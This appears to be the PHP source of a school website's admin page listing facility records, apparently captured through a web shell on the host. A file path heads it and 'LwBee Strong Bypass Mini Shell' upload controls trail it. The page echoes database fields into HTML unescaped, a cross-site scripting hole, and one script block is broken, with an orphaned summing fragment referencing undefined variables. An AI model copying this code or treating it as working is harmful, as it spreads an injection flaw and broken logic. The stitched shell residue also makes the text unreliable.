/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/facilities_report.php
<?php 
     session_start(); 
 $_SESSION['active'] = 'facilitiesReport';
    
   include('include/header.php'); 
  

   $select_facility_data = select_facility_data(); 
?>
<main id="main" class="main">

    <div class="pagetitle">
      <h1>Apple IIT Schools</h1>
      <nav>
        <ol class="breadcrumb">
          <li class="breadcrumb-item"><a href="index.php">Home</a></li>
          <li class="breadcrumb-item">Reports</li>
          <li class="breadcrumb-item ">School Facilities Report</li>
        </ol>
      </nav>
    </div> 
    <?php
         if(!empty($_GET['upd'])){
  ?>
  <div align="center"><h4 style="color:green;">Updated Data Successfully </h4></div>
  <?php
}
  
   if(!empty($_GET['succ'])){
     ?>
     <div align="center"><h4 style="color:green;">Data Insert Sucessfully </h4></div>
     <?php
  }
?>

    <section class="section">
      <div class="row">
        <div class="col-lg-12">
            
          <div class="card">
            <div class="card-body">
              <h5 class="card-title">School Facilities Report</h5> 
                 <div class="col-md-4"></div>
              	      <div class="col-md-6"></div>
                      <div class="col-md-2"><a href="facility.php" style="background-color: #69F0AE; color: #000000;" class="btn">Add Facility Form</a></div>
                       <br><br>
              <div class="row mt-4">
              	     
                      <table class="table datatable mt-4" id="getting_data">

                        <thead style="background-color:#7E57C2; color: #ffff;">
                          <tr role="row">
                           <th scope="col" style="display: none;">Id</th> 
                           <th scope="col">S.No</th>
                           <th scope="col">Name</th>
                           <th scope="col">Image</th>
                          
		                    <th scope="col">Content</th>
		                    <th scope="col">Action</th>


                          </tr>
                        </thead> 

              
                <tbody>
                          <?php  
                          $i=1; 
                          while($facility = mysqli_fetch_array($select_facility_data))
                           {  

                          ?>

                          <tr> 
                             <td><?= $i?></td>
                             <td><?= $facility['name']?></td>
                             <td><img src="<?= $facility['image']?>" width="60px;"></td>
                            
                             <td><?= $facility['content']?></td>
                             <td><a href="facility_edit.php?edit=<?= $facility['id']?>" class="btn btn-success">Edit</a>
                                 <a href="javascript:void();" onclick="confirmDelete(<?php echo $facility['id']?>)" class="btn btn-danger">Delete</a>
                             </td>
                         </tr> 
                       <?php $i++;} ?>
                     </tbody>
                   </table> 

            </div>
          </div>

        </div>
      </div>
    </section>

  </main> 


 <script>
  $(document).ready(function() {

   $('#getting_data tfoot th').each(function () {
     var title = $('#getting_data thead th').eq($(this).index()).text();
     $(this).html('<input type="text" placeholder="Search ' + title + '" />');
   });

   var table = $('#getting_data').DataTable({
    dom: 'Bfrtip',
    buttons: [
    'colvis',
    {
      extend: 'excelHtml5',
      exportOptions: {
        columns: ':visible'
      }
    },
    {
      extend: 'pdfHtml5',
      messageTop: function(){
      return "Total Value: " + $('#Sum_TotalRecords').text();
      },
      exportOptions: {
        columns: ':visible'
      }
    },
    ],

   

      CountofAmount = api
      .column(7, { 'search': 'applied' })
      .data()
      .reduce(function (a, b) {
        return intVal(a) + intVal(b);
      }, 0);


      CountofAmountcurrent = api
      .column(7, { page: 'current' })
      .data()
      .reduce(function (a, b) {
        return intVal(a) + intVal(b);
      }, 0);


      $('#Sum_TotalRecords').text('Rs.'+ CountofAmountcurrent + '(' +'Rs.'+ CountofAmount + ')');
    }

  });

   $("#getting_data tfoot input").on('keyup change', function () {
     table
     .column($(this).parent().index() + ':visible')
     .search(this.value)
     .draw();
   });
 
</script> 

<script type="text/javascript">

  $(document).ready(function() {
   $.fn.dataTable.ext.search.push(
     function(settings, data, dataIndex) {
       var min = $('#min').datepicker("getDate");
       var max = $('#max').datepicker("getDate");

       var startDate = new Date(data[3]);
       if (min == null && max == null) {
         return true;
       }
       if (min == null && startDate <= max) {
         return true;
       }
       if (max == null && startDate >= min) {
         return true;
       }
       if (startDate <= max && startDate >= min) {
         return true;
       }
       return false;
     }
     );


   $("#min").datepicker({ 
    dateFormat: "dd-M-yy",
      type:  'datetime',
     onSelect: function() {
       table.draw();
     },
     changeMonth: true,
     changeYear: true
   });
   $("#max").datepicker({
    dateFormat: "dd-M-yy",
      type:  'datetime', 
     onSelect: function() {
       table.draw();
     },
     changeMonth: true,
     changeYear: true
   });
   var table = $('#getting_data').DataTable();
   $('#min, #max').change(function() {
     table.draw();
   });
 });



</script> 

 <script>
       function confirmDelete(facilityid)
       {
        
          if (facilityid != '') {
            var x = confirm('Are you sure to Delete?');
          if(x){
          $.ajax({
            url : "delete.php",
            data :  {facilityid : facilityid},
            type : 'POST',
            success : function(response) {
              if(response ==1){
                window.location.href = "facilities_report.php";
              }
                
               
            }
        });
        }
       }
     }
    </script>

  <?php include('include/footer.php'); ?>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File